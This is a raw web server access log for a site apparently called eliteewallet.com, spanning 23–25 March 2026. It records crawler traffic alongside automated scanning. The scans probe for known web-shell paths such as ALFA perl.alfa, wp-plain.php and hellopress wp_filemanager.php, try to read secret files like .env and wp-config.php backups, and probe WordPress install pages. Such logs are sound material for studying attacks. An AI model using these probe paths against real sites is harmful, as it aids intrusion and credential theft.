"-" 20.220.216.188 - - [23/Mar/2026:21:44:08 +0300] "GET /file9.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:44:32 +0300] "GET /az.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:44:59 +0300] "GET /wtz.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:45:14 +0300] "GET /galex.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:36:36 +0300] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:36:59 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:39:37 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:41:08 +0300] "GET /we2.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:42:21 +0300] "GET /ave.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:42:46 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:43:36 +0300] "GET /la.php HTTP/1.1" 301 795 "-" "-" 147.182.158.99 - - [23/Mar/2026:23:36:47 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 20.43.23.11 - - [23/Mar/2026:22:22:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 66.249.66.203 - - [23/Mar/2026:22:21:46 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 20.43.23.11 - - [23/Mar/2026:22:22:29 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 88.17.29.148 - - [23/Mar/2026:23:02:45 +0300] "GET / HTTP/1.1" 301 795 "https://www.google.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 130.12.180.15 - - [23/Mar/2026:23:47:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 20.43.23.11 - - [23/Mar/2026:22:22:29 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.43.23.11 - - [23/Mar/2026:22:22:41 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 147.182.158.99 - - [23/Mar/2026:23:36:48 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 20.43.23.11 - - [23/Mar/2026:22:22:29 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 134.199.156.98 - - [23/Mar/2026:23:50:52 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 45.156.128.52 - - [24/Mar/2026:01:50:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 45.156.128.53 - - [24/Mar/2026:01:50:41 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 20.63.83.113 - - [24/Mar/2026:01:47:47 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 192.124.176.46 - - [24/Mar/2026:01:05:45 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 202.55.67.194 - - [24/Mar/2026:01:20:28 +0300] "GET http://eliteewallet.com/wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.234.11.56 - - [24/Mar/2026:00:48:29 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 43.165.65.180 - - [24/Mar/2026:01:33:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 223.244.35.77 - - [24/Mar/2026:00:45:46 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 75.119.145.171 - - [24/Mar/2026:00:53:32 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 43.155.195.141 - - [24/Mar/2026:02:17:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 3.20.203.96 - - [24/Mar/2026:03:43:39 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "CheckMarkNetwork/1.0 (+http://www.checkmarknetwork.com/spider.html)" 3.20.203.96 - - [24/Mar/2026:03:43:40 +0300] "HEAD / HTTP/1.1" 301 0 "-" "CheckMarkNetwork/1.0 (+http://www.checkmarknetwork.com/spider.html)" 91.224.92.162 - - [24/Mar/2026:03:51:56 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 104.194.154.173 - - [24/Mar/2026:03:52:43 +0300] "GET /unzipper.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 54.161.22.245 - - [24/Mar/2026:05:57:16 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 144.172.65.31 - - [24/Mar/2026:05:32:47 +0300] "GET /unzipper.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 144.172.65.31 - - [24/Mar/2026:05:33:08 +0300] "GET /unzipper.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 54.161.22.245 - - [24/Mar/2026:06:05:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 195.63.23.243 - - [24/Mar/2026:05:08:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" 195.63.8.114 - - [24/Mar/2026:05:08:38 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.10 Safari/605.1.1" 115.45.40.223 - - [24/Mar/2026:05:28:58 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3507.147 Safari/537.36 OPR/63.0.3368.43" 51.158.148.172 - - [24/Mar/2026:07:52:32 +0300] "GET /.gitlab-ci.yml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 194.26.192.203 - - [24/Mar/2026:07:59:11 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 54.174.58.238 - - [24/Mar/2026:08:31:02 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; HubSpot Crawler; +https://www.hubspot.com) Chrome/131.0.0.0 Safari/537.36" 54.174.58.241 - - [24/Mar/2026:06:44:44 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; HubSpot Crawler; +https://www.hubspot.com) Chrome/131.0.0.0 Safari/537.36" 154.65.39.8 - - [24/Mar/2026:06:50:40 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 49.51.180.2 - - [24/Mar/2026:07:03:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 194.26.192.203 - - [24/Mar/2026:07:59:11 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 194.26.192.203 - - [24/Mar/2026:07:59:11 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.244.0.174 - - [24/Mar/2026:07:29:15 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 54.174.58.252 - - [24/Mar/2026:07:37:27 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; HubSpot Crawler; +https://www.hubspot.com) Chrome/131.0.0.0 Safari/537.36" 54.174.58.252 - - [24/Mar/2026:07:37:37 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; HubSpot Crawler; +https://www.hubspot.com) Chrome/131.0.0.0 Safari/537.36" 119.28.89.249 - - [24/Mar/2026:07:55:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 194.26.192.203 - - [24/Mar/2026:07:59:11 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 194.26.192.203 - - [24/Mar/2026:07:59:17 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 117.33.163.216 - - [24/Mar/2026:07:47:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 51.158.148.172 - - [24/Mar/2026:07:52:43 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 54.174.58.241 - - [24/Mar/2026:07:58:31 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; HubSpot Crawler; +https://www.hubspot.com) Chrome/131.0.0.0 Safari/537.36" 194.26.192.203 - - [24/Mar/2026:07:59:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 173.239.218.129 - - [24/Mar/2026:06:49:34 +0300] "GET /dup-installer/main.installer.php HTTP/1.1" 301 795 "-" "-" 43.153.12.58 - - [24/Mar/2026:10:29:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 87.121.84.97 - - [24/Mar/2026:10:27:23 +0300] "GET /admin/assets/plugins/jQuery-File-Upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 136.144.35.92 - - [24/Mar/2026:10:22:03 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 3.18.186.238 - - [24/Mar/2026:12:00:35 +0300] "GET / HTTP/1.1" 301 795 "-" "visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 13.202.84.214 - - [24/Mar/2026:12:22:20 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15" 69.171.231.31 - - [24/Mar/2026:11:46:40 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 45.94.31.19 - - [24/Mar/2026:11:59:24 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.94.31.19 - - [24/Mar/2026:11:59:24 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 45.94.31.19 - - [24/Mar/2026:11:59:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.94.31.19 - - [24/Mar/2026:11:59:25 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 65.2.167.47 - - [24/Mar/2026:12:22:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15" 45.94.31.19 - - [24/Mar/2026:11:59:24 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 17.246.15.173 - - [24/Mar/2026:12:10:52 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 65.2.167.47 - - [24/Mar/2026:12:22:17 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15" 45.94.31.19 - - [24/Mar/2026:12:00:20 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 13.202.84.214 - - [24/Mar/2026:12:22:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15" 43.159.140.236 - - [24/Mar/2026:15:12:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 69.171.249.117 - - [24/Mar/2026:14:16:38 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 43.166.128.187 - - [24/Mar/2026:14:32:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.63.83.113 - - [24/Mar/2026:16:17:44 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [24/Mar/2026:16:34:45 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 217.216.37.52 - - [24/Mar/2026:17:05:59 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 217.216.37.52 - - [24/Mar/2026:17:06:00 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 74.7.243.131 - - [24/Mar/2026:19:22:43 +0300] "GET / HTTP/1.1" 301 795 "http://www.webworthchecker.cv" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.230.9 - - [24/Mar/2026:19:21:35 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.3; robots.txt; +https://openai.com/searchbot" 43.131.45.213 - - [24/Mar/2026:19:01:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 180.110.203.108 - - [24/Mar/2026:19:29:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.167.232.38 - - [24/Mar/2026:19:46:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 77.90.185.5 - - [24/Mar/2026:21:19:36 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 18.195.155.157 - - [24/Mar/2026:21:00:31 +0300] "GET /.env HTTP/1.1" 301 795 "-" "-" 62.60.130.228 - - [24/Mar/2026:22:45:22 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.2277.83" 20.220.60.25 - - [25/Mar/2026:00:30:06 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 157.173.110.97 - - [25/Mar/2026:00:13:56 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 144.172.65.31 - - [25/Mar/2026:00:09:52 +0300] "GET /wp-config.php1 HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 43.155.129.131 - - [25/Mar/2026:00:14:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.153.34.253 - - [24/Mar/2026:23:02:53 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 60.188.57.0 - - [25/Mar/2026:02:10:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 196.117.163.67 - - [25/Mar/2026:02:32:27 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 209.145.61.253 - - [25/Mar/2026:02:34:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 144.91.101.145 - - [25/Mar/2026:01:05:20 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 202.133.88.173 - - [25/Mar/2026:01:16:23 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 196.117.163.67 - - [25/Mar/2026:02:39:33 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 43.166.1.243 - - [25/Mar/2026:00:57:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 144.172.65.31 - - [25/Mar/2026:04:21:49 +0300] "GET /wp-config.php_ HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 170.64.188.206 - - [25/Mar/2026:04:41:18 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 203.132.56.95 - - [25/Mar/2026:04:53:50 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 170.64.188.206 - - [25/Mar/2026:04:42:23 +0300] "GET /old/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 170.64.188.206 - - [25/Mar/2026:04:42:50 +0300] "GET /test/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 170.64.188.206 - - [25/Mar/2026:04:43:07 +0300] "GET /blog/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 170.64.188.206 - - [25/Mar/2026:04:43:21 +0300] "GET /web/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 170.64.188.206 - - [25/Mar/2026:04:43:55 +0300] "GET /shop/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 170.64.188.206 - - [25/Mar/2026:04:41:29 +0300] "GET /wp/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 170.64.188.206 - - [25/Mar/2026:04:43:44 +0300] "GET /oldsite/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 173.239.218.10 - - [25/Mar/2026:04:55:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 170.64.188.206 - - [25/Mar/2026:04:43:14 +0300] "GET /cms/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 43.131.26.226 - - [25/Mar/2026:05:16:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.157.43.147 - - [25/Mar/2026:06:00:47 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 170.64.188.206 - - [25/Mar/2026:04:43:29 +0300] "GET /backup/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 52.172.146.60 - - [25/Mar/2026:05:45:42 +0300] "GET / HTTP/1.1" 301 795 "-" 